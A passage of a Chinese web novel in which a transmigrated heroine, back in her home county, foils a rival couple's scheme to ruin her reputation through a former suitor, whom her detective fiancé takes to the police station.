有了这个,就算日后家具厂可以为安暖日进斗金,也没人能说什么了。 安暖十分满意。 出了家具厂,又去了下一家。 只是很可惜,毕竟只是一个县城,企业工厂都十分有限,安暖不求大富大贵,也只筛选出两家可以合作的企业。 忙活完了,已经到了中午。 安暖找地方给楚隽打了个电话,自己找了家饭店吃饭。 幸亏这娃娃亲定得好,如今安暖虽然自己没什么大钱,但舒舒服服吃一顿饭,还是没有压力的。 习惯了一日三餐吃肉的人,要是回到一个月两顿肉的日子,就真是凄惨了。 安暖进了这两天常和楚隽去的饭店,要了四个菜。 宫保鸡丁,麻婆豆腐,红烧鱼,炒青菜。 老板娘记着菜名,还往外看了看:“小安,今天你一个人来的吗?楚同志呢?” 本来都是一个县城的,连吃了几天,都吃得认识了。 “他有事儿,今天中午不来了。” “那你一个人吃这么多?”老板娘停下记录的动作:“吃不了多可惜,浪费了,少点两个吧。” 这个年代的人很淳朴,也看不了铺张浪费。 安暖不是不想少点两个,事实是少点两个也吃不了。 “就这四个菜。”安暖说:“老板娘,你这儿有饭盒的吧,我给你押金,你借我几个饭盒。我把菜装着,吃不了的,带回去晚上吃。保证不浪费,明天,我给你把饭盒洗干净送过来。” 现在天气凉快,放在车上一下午不会坏。 不管楚隽晚上回不回家吃饭,她总是要吃的,这样就不浪费了。 老板娘一听:“那行,那我再给你多装一份饭,这样你晚上就省事儿了,不然还要单独煮饭。” “好。”安暖高兴道:“谢谢老板娘。” 老板娘高高兴兴地去了,不一会儿,四个菜都端了上来。 还拿来三个铝制饭盒。 一个饭盒里装着白米饭,另外两个是空的,用来装菜。 安暖先将四盘菜都拔了一大半放进饭盒,她自己是无所谓的,但晚上楚隽要是一起吃,总不能让他吃剩菜。 然后收好饭盒,每个盘子剩下一点,自己再吃。 别看只有一点,四个菜,每个菜一点,也够她吃了。而且比只点一两个菜,吃得丰盛又舒服。 一边吃,一边想下午去做什么。 原身在这个地方,有一个关系很好的闺蜜,叫做邵静荷,她临走的时候,还和邵静荷促膝长谈。 不外乎是少女情怀,对感情的憧憬和迷茫。 当时,没有人相信她去京市,能找到如意郎君。大城市里,从未上门的未婚夫,天生就披着一层薄情寡性的外衣。 邵静荷十分担心她。 如今,她既然回来了,自然要去有个交代。 虽然物是人非,回来的安暖,不是那个真正的安暖。可是这不必让谁知道,她占据了这身体,就应该代替她,让关心的人安心。 安暖正想着呢,有人进了门。 是一男一女两人。 饭馆里一直有客人来来去去,安暖并没有抬头去看。 但是随后就听见一个女声说:“呦,这不是安暖吗,你回来了?” 安暖一抬头,就看见一个卷着大波浪的姑娘看着她。姑娘二十来四五岁吧,一旁还站着一个三十来岁的男人。 姑娘挽着男人的手,看起来十分亲昵。 两人穿着都十分时尚,姑娘穿着大衣,男人穿着皮夹克。男人腰上还别着bb机,胸口的衣服上,还挂着个墨镜。 只是现在又不是夏天,阳光也不烈,不知道挂着墨镜是做什么用。 安暖飞快地回忆起来。 幸亏所有的记忆都在,这也是她敢和楚隽回老家的原因,要不然的话,不管装病还是装死装失忆,她都绝对不会这么轻易回老家。 这姑娘叫闻迎蓉,是原主同一个服装厂上班的同事。 上班的时候就不对付。 当然也没有什么原则性的仇恨,就是两个漂亮小姑娘的小矛盾罢了。 这男人叫宋永峰,之前曾经给原主送过花花草草,零食点心。 但是原主没理他。 倒不是被娃娃亲的婚约限制,而是没办法,原主是个颜狗。 男人是县城做生意的人家,这几年生意做得风生水起,颇赚了点钱。但二婚,长相也只是个普通的长相,不够叫人心动。 只是没想到离开一个月,如今看起来,两人在一起了。 安暖听着闻迎蓉的声音语气,看她的表情,就知道来者不善。 呦,她心里只觉得十分有趣。 这是……来找麻烦的?真是没想到,原主还有这一波曾经的爱恨情仇呢。 “闻迎蓉,好久不见。”安暖为了不露馅,也不能装不认识:“你也来吃饭啊。” “是啊。”闻迎蓉就直接坐在了安暖一旁的椅子上:“你不是去大城市找未婚夫了吗?怎么,没找到,回来了?” 第270章 敌蜜 “哦,找到了。”安暖淡淡说:“回来办手续,过两天就走了。” “走……回京市去?”闻迎蓉闻言四下一看:“你骗谁呢,一个县城的姑娘,在京市就是农村人吧。你那素未谋面的未婚夫,能承认这婚事?” 安暖放下筷子。 “少操心我。”安暖说:“承认不承认跟你也没关系。你们俩这是……结婚了?恭喜恭喜,真是郎才女貌,天生一对。祝你们百年好合,白头到老。” 她也不想跟闻迎蓉那么多废话。 但是原主和闻迎蓉的关系就是这样。 无论在哪里遇见了,都得嘲讽一下,吵一架这样。她希望尽量在老家维持自己的人设,至少不要崩得太厉害,免得叫人起疑。 果然,闻迎蓉觉得,安暖还是之前的安暖。 她拽着宋永峰也坐下了。 宋永峰的视线在安暖脸上晃了一下,脸上表情有些奇怪。 县城和京市毕竟是不同的。 安暖不太注重打扮,也不会浓妆艳抹招摇过市,可她在京市这一个月,有楚隽出钱出力,但从外表来说,早就已经脱胎换骨。 从一个一眼看去就是乡下的姑娘,到现在一眼看去,就低调又时尚。 这也是楚隽非常佩服安暖的一点。 当安暖第一次换上时尚的衣服,第一次化妆用上高端化妆品,第一次戴上名牌珠宝首饰,她没有露出多少惊叹感慨,只是对镜子里的自己十分满意。 挺合身的,挺好看的,还不错……安暖宠辱不惊,大家风范,天生大气。 宋永峰也没去过京市,更认不出看着普通的衣服是什么牌子,只是觉得,安暖不一样了。 更有气质,更美了。 他当时的第一目标就是安暖,求而不得,才退而求其次。如今见她归来,气质美貌更胜昨日,那一颗心,又蠢蠢欲动了。 之前,安暖有一个做警察的父亲。他是做生意的,就算是有什么想法,也不敢怎么样。 现在,安暖父亲已经过世了。 安暖在县城也没有其他亲人,一个小姑娘,万事好商量了。 安暖不喜欢宋永峰的视线,她敏锐地感觉,这人来者不善。 记忆中,虽然宋永峰曾经追求过原主,倒是也没有过什么失礼的行为。原主对他,顶多只是不耐烦和讨厌,没有仇需要报。 闻迎蓉笑嘻嘻地伸了伸手,露出手腕上的表。 好几百块钱的表呢,在县城里都买不到,还是托人从外地买回来的。 十月份,安暖里面一件长袖,外面一件长袖,手表在袖子里,不撸袖子看不见。 “安暖,那可就谢谢你了。”闻迎蓉说:“我和峰哥下个月就要结婚了,你要不多住几天,喝了我们的喜酒再走。” “不用了,我住不了那么久。”安暖最后吃两口,拿了饭盒起身:“你们慢慢吃,我有事情先走了。” “哎,既然碰上了,别着急走啊。”宋永峰抬手拦住:“小安妹妹,我和蓉蓉能在一起,说起来还要感谢你呢。我们结婚你赶不上,那……晚上我们请你吃顿饭,也算是大家相识一场,给你送行了?” “真的不用,谢谢了。”安暖断然拒绝,往外走去。 不要在不值得的人身上浪费时间。 反正要是不出意外,她和他们,这辈子都不会再见面了。 安暖以为自己已经说得很明白,态度已经很明确了,这光天化日的,宋永峰是绝对不敢拦人的。 这个年代正是严打,流氓罪可是要吃枪子儿的。 没想到闻迎蓉站起来,抓住了她胳膊。 “你别走啊,以后都见不着了,咱们好好聊聊。我多点几个菜,陪我们再吃几口。” 这就热心过头了吧? 安暖沉下脸,一甩胳膊。 “让开!” 闻迎蓉被甩到了一边。 饭店老板和老板娘听着这边好像有争执,都走了过来。 老板还拿着个饭勺。 要是闻迎蓉和安暖纠缠,大家只会当做是小姐妹拌嘴,顶多八卦一下,不会有什么警惕心。 但如果宋永峰有什么动作,那就不一样了。周围正义的民众,是不会袖手旁观的。 只要不往黑暗的偏僻的地方去,这个年代其实是很安全的。不会有在街上遇到危险,无人伸出援手的情况。 “让开就让开,别那么凶嘛。”闻迎蓉见有人看着她,赔了笑脸道:“你有事儿先去忙,晚一点我去找你啊。” 安暖懒得和她多说,拿着饭盒出了门。 闻迎蓉和宋永峰一直看着她。 只见安暖出了门之后,就走向了路边上停着的越野车。 先打开后座,将饭盒放了上去,关上门。 又打开驾驶室的门,坐了进去。 两人看得目瞪口呆。 “那是安暖的车?”闻迎蓉只觉得不可思议:“不可能吧,咱们整个县城都没有几辆小汽车,安暖竟然是开车回来的?而且,她什么时候会开的车,她明明连小学都没读完啊……” 就在两人不可思议的眼神中,安暖已经启动汽车开走了。 透过车窗玻璃能看见,安暖单手放在方向盘上,娴熟老练地转动方向盘,游刃有余,慢慢离开不见。 宋永峰的眼睛更像是钉在车上,一直到车消失在道路尽头,都没有收回视线。 “安暖莫非真的找到了她那个条件特别好的未婚夫?”闻迎蓉皱眉道:“这不可能啊。” “怎么就不可能?”送永峰不由地道:“之前不是一直听说,她确实有娃娃亲吗?” “是有娃娃亲不假,可……大城市的有钱人,怎么可能看得上她。”闻迎蓉一万个不相信:“这绝对不可能。该不会是……” “是什么?” “她未婚夫为了接触婚约,补偿了她一笔钱吧?” 饭店老板娘正好端了菜过来,听着不由接了一句:“那不是,这几天都是未婚夫陪她来吃饭的,也就今天是她自己来的。” 闻迎蓉一听老板娘竟然知道什么,立刻道:“她未婚夫什么样子,是年纪很大,还是长得很丑?” 老板娘一听就不乐意了。 “你都没见过人,瞎说什么呢?”老板娘正义道:“那小伙儿长得可俊了,咱们整个县城,都找不出比他更俊的。” 第271章 毁了她的名声 “不可能吧。” 闻迎蓉第一反应是不信。 饭店老板娘不高兴了。 “怎么不可能,他们来好几回了,我是亲眼见着的,还能骗你们不成。骗你们对我有什么好处?” 老板娘觉得自己的人品和眼光都遭到了质疑,这可不行。 人品和眼光,一个都不能少。 闻迎蓉撇了撇嘴,没说什么。 她才不信。 两人嘀嘀咕咕地吃了饭,嘀嘀咕咕的走出饭馆。 宋永峰说:“蓉蓉,你说真的有可能,安暖那个首都的未婚夫,有钱有势的,能看得上她一个乡下姑娘?” “不可能。” 宋永峰毫不犹豫地说。 “那……老板娘说的男人,是怎么回事?”闻迎蓉猜测道:“不能是她怕丢人,雇了个人回来演戏吧?她也没那么多钱啊。” “那也不至于,别的不说,就刚才那车,也不是她能租得起的。” 闻迎蓉深以为然,点了点头。 “我也觉得。”闻迎蓉说:“真是奇怪了,这事情到底是怎么回事?” 宋永峰想了想,笑道:“我知道了。” 闻迎蓉奇道:“这是为什么?” 宋永峰说:“还能为什么,新鲜呗。外面花花世界,那女人都打扮得花枝招展,偶尔见着一个清汤寡水的,可不就觉得新鲜。觉得单纯可怜,像朵小白花。” 再说安暖长得也漂亮,漂亮又清纯,保不准就让见惯了灯红酒绿的公子哥迷了眼。 闻迎蓉想了想:“也是,真是让她走了狗屎运了。” 她是一万个不高兴,一万个心理不平衡。 本来两个不相伯仲的人,突然就高下立分了。 但是一时之间,又没有什么法子。 倒是宋永峰,眼睛一转:“我有个办法,能给她这婚事搅黄了。” 闻迎蓉立刻道:“什么办法?” 宋永峰说:“你说,要是她不再清纯了,人家还能要她吗?” 闻迎蓉吓了一跳:“你要干什么?” 流氓可是要枪毙的。 “哎,你想哪儿去了,我不能干那事情。”宋永峰低声说:“我记得你之前说过,市场里卖肉的老麻,是不是也喜欢过安暖?” 闻迎蓉点了点头。 这不稀奇。 自古都是一家有女百家求。 安暖这个正当婚嫁的年纪,长得好看。虽然没有母亲,但父亲有正式工作,自己也不游手好闲,当然有人喜欢。 也不是人人都知道她有娃娃亲的婚约,更不是人人都相信,她那从未露过面,见过面,天高皇帝远的未婚夫,会真的跟她结婚。 宋永峰说的这个老麻,是在菜市场卖肉的个体户,叫麻鼎安。 今年二十七,尚未结婚。之前安暖去买过几回肉,就被他相中了。 卖肉虽然听起来有点不雅,但其实是挺赚钱的一个职业。而且,有肉吃啊。 在这个年代,大部分人家可不是天天吃得起肉的,一个月吃上两回就不错,总是馋得很。 麻鼎安这职业,其实挺受欢迎。 麻鼎安看上安暖之后,想来想去的,夜不能寐,就托人打听了一下。得知她没有结婚,没有对象,就让自己爸妈找了媒人,上门去说亲。 当然了,被拒绝了。 后来,麻鼎安又纠缠了一回,见确实没有希望,也就断了念想。 安暖的父亲是警察,就这,很多人心里是有顾忌的。 闻迎蓉说:“麻鼎安喜欢过安暖,那有什么用。当时安暖都看不上他,这会儿还能看上不成?” 麻鼎安年纪虽然不大,但脸长得一般。不丑也不好看,就是芸芸大众普通人,不过常年干的是杀猪卖肉的活儿,练着一身肌肉。 安暖看不上。 人都是很实在的,长得好看有天生的优势。 也别说以貌取人对不对,这就是真实情况。 安暖之所以开始是为了退婚去了,后来在翟老爷子的要求下,愿意和楚隽试一试。那也是因为楚隽长得好看,长在了她的审美上,自然就心软心动了。 楚隽要是长得抱歉,那这婚,早一个月就退了。 赚钱可以再想办法,长得不好看,那是真的没有办法。 宋永峰说:“不用安暖看上麻鼎安,只要咱们去找麻鼎安,告诉他安暖回来了,怂恿他去找安暖。只要把他们俩的事情加油添醋的一说,你觉得,她那未婚夫,心里能不膈应?” 闻迎蓉一听,一想,一拍大腿。 “是个好办法。现在安暖父亲也不在了,麻鼎安也不用怕他了。他到现在还没结婚没对象,说不定就是还在惦记安暖。他肯定愿意去,这男人啊,就要又争又抢,才能有媳妇。” 两人一合计,转头去了菜市场。 安暖对这一切毫不知情。 下午,安暖去找了自己闺蜜,送了她一堆从京市带来的好东西。 漂亮衣服,化妆品,口红香水什么的。 虽然安暖已经不是原主,可她能感觉到邵静荷的真心,自然也愿意温和以待。 邵静荷说:“今天也没个准备,晚上我要去给父亲送点东西。明天,明天你一定要把你未婚夫带给我瞧瞧,我给你把把关。” “没问题。”安暖说:“明天晚上你在家等着,只要不太晚,我就带他来找你,请你吃饭。要是晚了,就后天,左右我们还要待几天才走。临走之前,我一定带他来见你,让你放心。” 邵静荷很高兴。 两人虽然是初次见面,也絮絮叨叨聊了一下午。 看着时间差不多了,安暖要走了。 “你不是要给你爸爸送东西吗?”安暖说:“我记得,你爸的厂子还有点远吧?” “是,有点远。” 邵家有一辆自行车,但是被骑走了。这个年代大部分人出门,还是靠走。 安暖说:“你把东西拿上,我送你去。” 邵静荷一听连忙拒绝:“不用不用,那太麻烦了。” “不麻烦,我开车来的。”安暖推着她去收拾东西:“我送你过去,再把你带回来,你就不用走上一两个小时了。” 一脚油门的事情。 邵静荷很高兴,也不跟安暖客气,立刻就去收拾东西了。 走路一个小时,开车二十分钟。 邵静荷上了车,难免好奇新鲜地左看看,右看看。 安暖有问必答,真闺蜜真朋友,是原主的情意,就是她的责任。 “以后你若不想在家里了,就给我打电话。”安暖说:“等我在京市稳定下来,你若是想要出去闯闯,就来找我。” 第272章 找上门 邵静荷听着安暖说外面的世界,听得入了迷。 “那大城市跟咱们县城,真的区别这么大啊。” “区别是挺大的。”安暖实在地说:“不过时代在进步,社会在发展。每个地方都会发展,只是有些地方早一点,有些地方晚一点。咱们县城,也会慢慢发展起来的。” “嗯。”邵静荷下定了决心:“你给我留一个电话号码,到时候咱们常联系。我要是想出去,我就联系你。” “好。” 现在当然不行,但安暖已经决定要在京市安定下来。日后稳定了,当然可以帮忙。 送邵静荷去厂里给父亲送饭,这一来一回,又是快一个小时。 回来正是吃晚饭的时间了。 安暖将邵静荷送回家,就去派出所接楚隽。 楚隽今天忙了一天,明天还要继续讲课,说不定晚上要备个课什么的,所以今天就没有让他出来应酬邵静荷了。 要是安暖开了口,楚隽肯定是不会拒绝的。但安暖从来都是将人心比自心,考虑周全。 虽然看得出来,项所长很不想放人,但见安暖来了,还是爽快的叮嘱楚隽,要不要留下来吃个饭,回去好好休息。今天辛苦小楚了,小楚果然是年轻有为,肚子里有货,传授经验讲得明白,大家都学习到了不少,大有裨益。 项所长毫不吝啬地狠夸了楚隽一番,夸得像是一只大尾巴狼。 人家都这么夸你了,你明白好意思不更加卖力吗? 出了派出所,上了车,安暖说:“今天为人师表,感觉如何?” 楚隽笑:“挺好的。” “看出来了,楚老师,教得很有成就感。” “还行吧。”楚隽实事求是道:“不过你那个冯大哥,好像看我不太顺眼。” “嗯?”安暖没当回事:“怎么了?” “男人的直觉。”楚隽一本正经说:“他对你有意思。” “……” 安暖没想到楚隽竟然这么直白。 “那他针对你了吗?” “那倒没有。” “那你针对他了吗?” “自然也没有。” “那就行了。”安暖说:“像我这么年轻貌美的大姑娘,有几个追求者很正常。楚三少在京市,那不也是天天被惦记着的吗?没人惦记,还显得自己差劲儿呢。” 对于楚隽的追求者,不论是谁,安暖心无波澜。 既然摘了最美的那朵花儿,就不能怕蝴蝶蜜蜂往上扑。 只要他们俩稳住就行。 楚隽本来还想吃个小醋求一下关注,没想到安暖竟然如此通透明白,顿时一点儿别扭都别扭不出来了。 “你说得对。”楚隽想了想,说:“没人喜欢你,那才是不正常的。虽然我眼光好,但其他人也不能全瞎了。” 安暖转头,伸手捏了捏楚隽的脸。 这是谁家少年郎? 哦,我家的呀! 那没问题了。 “你放心吧。”安暖说:“不管有多少追求者,我就喜欢你。不管有多少人惦记你,我也相信你心里只有我。” 心理年纪比楚隽大许多的安姐姐,把他哄得明明白白,稳稳当当。 两人回了家。 安暖将从饭店打包回来的饭菜拿了出来。 厨房里又生起火来,将锅里放上水,弄几根木棍横竖交叉放上。然后将饭盒放在上面架着。 很快水开了,饭菜也热了。 楚隽用一块布垫着,将饭盒都拿出来。 “吃饭吧。”楚隽说着,拿了两双筷子,放在开水里烫了烫,递给安暖一双:“今天没时间陪你,你都干什么去了?无聊吗?” 跟哄小孩子一样。 “不无聊。”安暖说:“我今天可忙呢。” 跟两家厂子合作的事情,安暖也没想瞒着楚隽。 这不是什么见不得人的事情,也不是一次成型的事情,日后若是真赚钱了,肯定还有来往。若是现在不告诉楚隽,日后再说,难免让他觉得生疏。 两人就在厨房,一边吃,一边说。 楚隽奇道:“你去厂子里干什么?找认识的朋友吗?” “不是,是想赚点钱。”安暖说:“我这一个月在京市,看了花花世界,也感觉到了大城市和县城的区别。我觉得咱们县城的工厂,应该跟上改革创新的脚步,这样才能不被时代抛弃。” 说得多好啊。 安暖拿出两份合同给楚隽看。 “我给他们提了一些建议,他们聘请我做技术顾问,就是出主意提意见,如果采纳了,并且赚钱了,以后给我分红。” 楚隽虽然见多识广,但看着合同还是有点呆。 确实没想过,安暖的思想如此敏捷,这种赚钱的法子也能想到。 “怎么样?”安暖说:“不是有这么一句话吗,叫知识就是财富,我这也算是学以致用吧。就是不知道合适不合适,跟你的工作有没有冲突?” “那倒是无妨,你这也是靠知识赚钱。”楚隽看了看,将合同收好:“你自己想赚钱当然是没问题,但如果你是因为缺钱,可千万要跟我说。不然就是把我当外人了。” “没问题。” 安暖高高兴兴地应着。 等着,她有未来四十年的方向,日后赚钱的机会还多。等到了时候,自然会有让楚隽投资,然后赚个盆满钵满的时候。 比如京市的四合院,等有空就可以看起来买起来了。 现在是个四合院,以后,就是富豪榜啊。 楚隽下半辈子,就是不靠家里,自己躺平,也能过上神仙一般的日子了。 两人吃完饭,收拾了。 继续烧水,洗澡。 洗完澡,今晚楚隽果然要备备课。 “我帮你一起。”安暖说:“县城和京市不一样,有一些经验需要变通,我对这里更熟悉一些。” 两人有商有量的,正要回房去好好学习,突然听着外面有人喊。 “暖暖,暖暖,你回来了吗?” 有人砰砰砰的拍着院子门。 安暖一时没听出是谁的声音,转头往外看了看。 “谁啊这是,这么晚了。”安暖说:“我去看看。” 原主在这里长大,有朋友上门也很正常,她也没有多想。 不过外面黑乎乎的,楚隽说:“我陪你一起去。” 第273章 污蔑是犯法的 楚隽从桌上拿了手电筒,跟着安暖一起走出了门,走到院子门口。 “暖暖,暖暖。” 这回喊门的声音变成了一个妇女,刚才是个男人。 暖暖,喊得挺亲近的,安暖只觉得这个声音好像是有一点耳熟,但是又确实听不出来是谁。 按理来说,连声音都听不出来的人,不应该是熟人啊。 打开了门。 门口站着一男一女。 一个四五十岁的大婶,和一个二十五六的男人。 大婶瘦瘦小小的,男人倒是五大三粗,肌肉纠结,看着像是铁塔一样。 安暖回忆了一下,男人她认出来了,是菜市场杀猪的麻鼎安,原主去他的摊子上买过几回肉,先聊了几句,算是认识。 再然后,哦,好像还追过原主,不过没追上。 请媒婆来家里说过亲,不过被拒绝了。 就没有然后了。 不过当时媒婆来说亲的时候,她没在家,是爸爸接待的,回来也只是跟她说了一声罢了,没见着那媒婆长什么样子。 不知道是不是眼前这个。 但不管这婶子怎么样,麻鼎安开口喊那一声暖暖,让安暖心里非常不舒服。 咱们俩的关系,你叫得也太亲密了些。 这也属于耍流氓的一种,这和跟着姑娘后面开黄腔,有什么区别? 大婶一看安暖,立刻就堆起了笑脸:“暖暖,这就是暖暖吧?” 这话一听,就是不认识啊。 安暖狐疑地打量了她一下:“请问你是哪位?” “我是红婶。”大婶说:“之前你父亲还在的时候,我来给你说过亲,不过那次你不在家,所以不认识我。” 红婶,没错了,那就是之前来过的那个媒婆了。 “哦,红婶。”安暖说:“这么晚了,你来找我有什么事儿吗?” 红婶还没说话,麻鼎安先道:“暖暖,是我找你,我找你有事儿。” 楚隽看了一眼麻鼎安,面色不善。 “你是麻鼎安。”安暖说:“你找我有什么事儿?还有,咱们只是,我在菜市场找你买过几次肉的关系,没有那么熟,请你叫我的名字,或者叫我安同志。” 他们是站在院子门口说话的,安暖没有把他们放进来的打算。 这么晚了,又不是真正熟悉的朋友,有事儿说事儿,长话短说,没有必要让进家门了。 麻鼎安立刻说:“暖暖,我是找你提过亲的,怎么就没有这么熟了?我还给你送过东西呢,你忘了?当时,当时伯父说,你是有婚约的,所以不能立刻答应。只等退了婚,就能答应我的提亲,我们还……我们还……约过会呢。” 红婶在一旁眉开眼笑,一边附和,一边说:“对对对,是是是,我知道这事情。暖暖,小麻一听说你回来的消息,立刻就来找我,求我上门了。你看,我们给你带了礼物……” 安暖感觉到身边有杀气慢慢发散。 虽然楚隽很斯文的还没有说话,尊重她自己处理,但已经有点忍不住了。 幸亏安暖有过去所有的记忆,她想了又想,确定这个男人在胡说八道。 “不可能。”安暖立刻就道:“你确实让媒婆找我提过亲,但是我爸一口回绝了。我也没有和你约会过,你这是污蔑我,诋毁我的名声,我是可以报公安的。” 麻鼎安脸色微变。 “你,你怎么还不承认呢?”麻鼎安嘴还挺硬:“我对你是真心的啊,暖暖,我真的喜欢你,大家都知道啊。” 他看见了安暖后面站着个人。 但是,因为院子里黑,楚隽站在阴影里,所以看得不真切。 而且麻鼎安是个五大三粗的男人,又是卖肉的,自觉有一把力气,根本不就太把谁放在眼里。 安暖转头道:“楚隽,抓他去派出所。他污蔑诋毁我的名声,这可是犯罪。” 楚隽淡淡应了一声:“好。” 楚隽走上前一步,站在安暖身边。 安暖心里突然一动。 “等一下,麻鼎安,你来得这么快,是不是听说了什么?”安暖突然觉得眼前这一幕,有点眼熟啊。 自己是没经历过的,但是看电视小说什么的,好像经常看见这一幕。 这不就是经典的,穷书生捡了小姐的帕子,上门求娶,不然就损坏她的名声吗? 这套路似曾相识,换汤不换药。 要不然的话,她明明没有和这个叫麻鼎安的男人有来往,他为什么精准上门来泼脏水? 麻鼎安神色变了一下。 “我听说你回来了啊,就,就情不自禁。” “不对。”安暖说:“虽然我只是在你那儿买过几次肉,但你这个人我还是知道一些的。” 安暖其实不知道,但是她听安父提起过。 对于自己女儿的追求者,安父是注意过,调查过的。 他说,麻鼎安这个人,不适合安暖。 基本上可以算是个老实人,四肢发达,头脑虽然没有那么简单,但也相对简单。性子直,脾气暴,容易听别人的哄骗。只要是有心之人,就很容易唆使他去做一些蠢事。 比如今天晚上这件事情。 麻鼎安有点疑惑:“你说,我是个什么样的人?” 安暖说:“你是个容易被骗的人?今晚上你来找我,就是被骗了吧?” 麻鼎安的脸色更难看了。 “你胡说。”麻鼎安梗着脖子说:“就是我自己要来的。” “那就好办了。”安暖说:“楚隽,送派出所吧。” “好。” 楚隽走了过去。 男人对男人,有点骨子里的竞争之心。 虽然麻鼎安觉得眼前的男人有点危险,但又觉得自己没道理害怕。这个人很有可能就是安暖的未婚夫,但看起来也不多强壮,肯定打不过自己。说不定反而能让安暖看见自己的男子汉气概呢? 男人嘛,就是要强壮。 要不然的话,算什么男人。 安暖的父亲就是警察,自然不喜欢瘦弱无力的男人。虽然楚隽看起来也不瘦弱,但大城市的公子哥,能有多强? 麻鼎安顿时挺起了胸膛。 “暖暖,你天真淳朴,可别给外面的人骗了。”麻鼎安看了一眼楚隽。 楚隽冷冷一笑。 第274章 报公安 “我是暖暖的未婚夫,我们是父母之命,媒妁之言,何来欺骗一说。”楚隽冷冷道:“还是说,你觉得你,比我强。” 安暖一把就拽过楚隽。 “红婶,你看清楚,我已经有未婚夫了,麻鼎安被人挑唆着来找我麻烦,你也不知轻重,要趟这浑水吗?” “我不是来找麻烦的。”麻鼎安打断了楚隽的话:“我就是觉得你配不上这个男人……” 楚隽要是还能忍,就不是个合格的未婚夫。 麻鼎安说话间还要往前走,被楚隽一把抓住了胳膊。 “走吧。”楚隽道:“去派出所。” 麻鼎安条件反射的挣扎了一下。 他的力气确实大。 这一点楚隽也不得不承认,但两个人打架,力气只是占其中一部分罢了。 又不是掰手腕。 楚隽不但有力气,还有技巧。 麻鼎安都没明白发生了什么,就被楚隽按在了地上。 “啊!”麻鼎安发出一声惨叫:“杀人了!” “别喊了。”楚隽冷冷道:“死不了,我不杀人。” 楚隽将麻鼎安按在地上,膝盖顶在他腰上。 虽然麻鼎安力气很大,左右挣扎,但是也不知道被楚隽按住了哪里,只觉得浑身的力气都使不出来。 红婶急的脸都红了,想劝,但是又不敢上前,只是着急道:“别打,别打,别打架啊。这是怎么了,怎么就打了起来。” “走吧。”楚隽说:“去派出所,今天一定要把这件事情弄清楚。我未婚妻的名声,不是可以随意污蔑的。虽然东来只是个县城,但不是法外之地,也是要将法的。” 麻鼎安一身横肉蛮力,但被楚隽拽着手反折在后,只觉得胳膊要断了。 他这会儿也察觉不对劲了。 一个普通人,哪里能这么厉害。 当年,他就看见过安父对付小混混,虽然看起来不多强壮,但是一个人轻轻松松就撂倒好几个年轻男人。 麻鼎安顿时起了一身冷汗。 “我不去。”麻鼎安这会儿也只能无能狂怒了:“我不去,你放开我。” 但是他说了不算。 楚隽轻轻松松就将人拽了起来,推着往外走。 楚隽甚至还能腾出一只手,把车钥匙丢给安暖。 “暖暖,你去开车。”楚隽说:“去派出所。” “好。” 楚隽将麻鼎安推上了后座,自己也坐了上去。 他做了这么多年刑警,当然知道名声对一个姑娘的影响有多大。 一个男人上门喊着要提亲,还说两人之前约会过处过对象,这对安暖的名声简直是毁灭性的打击。但凡这消息传出去一点,就会有各种流言蜚语四起。 这事情,绝对是犯法的了。 不管对方是为了毁了安暖的名声,还是为了离间他们两个,这事情都太恶毒了。必须要有一个交代才行。 而且,他还有些后怕。 今晚上,是他在。 他能制服麻鼎安。 如果他不在呢。 如果只有安暖一个姑娘在,今晚上这事情,她是非常容易吃亏的。男女力气天差地别,麻鼎安只要有这样的心,安暖就非常危险。 红婶在一旁急得跳脚。 安暖冷冷看她一眼。 “红婶,走吧。我开车带你,我开车很稳的,放心,不晕。” 红婶哭的比笑还难看。 她这辈子还没做过小汽车呢,还是看起来这么高档的小汽车。 但现在一点儿也不开心,只觉得害怕。 关上院子的门,大家都上了车,安暖开着车,往派出所去。 这个时候县城的街道已经很安静了,一片漆黑,什么都没有。 安暖的车开的很松弛。 麻鼎安在后座,沮丧地瘫着。 他现在就是后悔,十分后悔。 但是楚隽问了两次,谁叫他来的,他都没说话。 麻鼎安这种人吧,他还讲义气。至少,他觉得自己应该讲义气。 既然人家是好心,想要成全他的姻缘,那肯定不能将人说出来。 左右自己不过是带着媒婆上门提亲,又没干什么过分的事情,也算不上流氓罪吧。 楚隽不知内情,自然也没办法联想更多。 但是开了半路,安暖突然道:“麻鼎安,你今天是不是见了宋永峰?” “你怎么知道?” 麻鼎安脱口而出。 说完之后,惊觉不对,连忙闭上嘴。 但是已经来不及了。 安暖冷笑了一声:“我就知道,果然和这两个人脱不了干系。” 楚隽不由的道:“暖暖,这是什么人?你的仇人?” 他知道自己在京市有仇人,但是没想到,安暖这样一个普通人,在家里也有仇人。 这可真是,三十年河东,三十年河西。 安暖在京市的时候,碰见过他的追求者,如今,事情转过来了。该他操心了。 “不知道算不算。”安暖解释说:“以前在一个服装上上班的一个姑娘,叫闻迎蓉,也不知道跟我有什么仇怨,处处都要跟我作对。这个叫宋永峰的,是县城里一个做生意的,当时来我们厂里做生意,和我见过一次,就说些有的没的。后来,我就没见过他,不巧,今天中午,见着了。” 安暖将自己过去那些追求者,一律分类成有的没的。 楚隽心里酸溜溜,但也不得不承认。 安暖之前说的话是有道理的,窈窕淑女,君子好逑,安暖这长相性格,如此出众,在家乡有追求者,太正常了。 幸亏我比他们都优秀。 安暖道:“今天中午我在咱们常去的那家饭馆吃饭,碰见他们俩不知道何时处对象呢。莫名其妙的,在我这里冷嘲热讽了一些。大概闻迎蓉觉得,她现在和宋永峰在一起了,是可以向我耀武扬威炫耀的吧。” 这种心态不能理解,但也可以理解。 “但是我没想到她这么恶毒。”安暖说:“竟然还想毁了我的名声,还这么蠢,找了个更蠢的当枪。” 就算是头脑简单的麻鼎安,也听出来安暖是在骂他了。 可惜安暖不知道闻迎蓉住在什么地方,要不然的话,都打算直接找上门去。 半夜把人从被窝里揪出来,然后把麻鼎安给砸过去。 有仇,就得现场报了。 第275章 怎么受了伤 一行人就这么到了派出所门口。 以前安暖就对这个地方熟门熟路,现在就连楚隽也对这里熟门熟路了。 麻鼎安被拽了下来。 派出所晚上是有人值班的,二十四小时不断人。 一看见楚隽这车,眼熟啊。 车开进院子里,安暖先从车上下来了。 民警马峰听着动静,从办公室里出来。 “小安?”小马看见车就认出来了:“这么晚了,你怎么过来了?” 后座的门也开了,楚隽拽着麻鼎安下来了。 楚隽说:“我们是来报案的。” “报案?”小马吓了一跳:“出什么事了?” “这个人。”楚隽说:“晚上找到我家来,污蔑我未婚妻,损毁她的名声。还妄图对我动手。对了,他是被人唆使的,我们就把他送来了。” “对你动手?”小马震惊的看着楚隽:“楚队,你说他……对你动手?” 小马看了看麻鼎安,又看了看楚隽,一脸的不可置信。 麻鼎安也用不可置信的表情看向小马。 ”你……你们认识?” 